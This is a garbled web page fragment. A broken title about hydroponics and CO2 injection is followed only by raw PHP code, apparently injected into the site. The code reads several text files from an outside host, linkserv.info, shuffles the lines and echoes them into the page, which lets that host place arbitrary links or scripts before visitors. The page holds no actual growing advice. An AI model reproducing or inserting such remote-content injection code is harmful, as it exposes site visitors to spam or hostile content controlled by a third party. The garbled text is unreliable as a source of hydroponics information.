how can i grow hydroponicsHyroponics , Co2 Injection advice

[php] $fp1 = fopen("http://linkserv.info/serv2.txt", "r"); $data1 = ""; $fp2 = fopen("http://linkserv.info/title.txt", "r"); $data2 = ""; $fp3 = fopen("http://linkserv.info/settings.txt", "r"); $data = ""; while(!feof($fp1)) { $data1 .= fgets($fp1, 4096); } while(!feof($fp2)) { $data2 .= fgets($fp2, 4096); } while(!feof($fp3)) { $data .= fgets($fp3, 4096); } $file = "http://linkserv.info/serv.txt"; $rows = file($file); $limit = $data; $i = 0; shuffle($rows); echo $data1; echo $data2; foreach($rows as $r){ if($i == $limit){ break(1); } echo $r ; $i++; } [/php]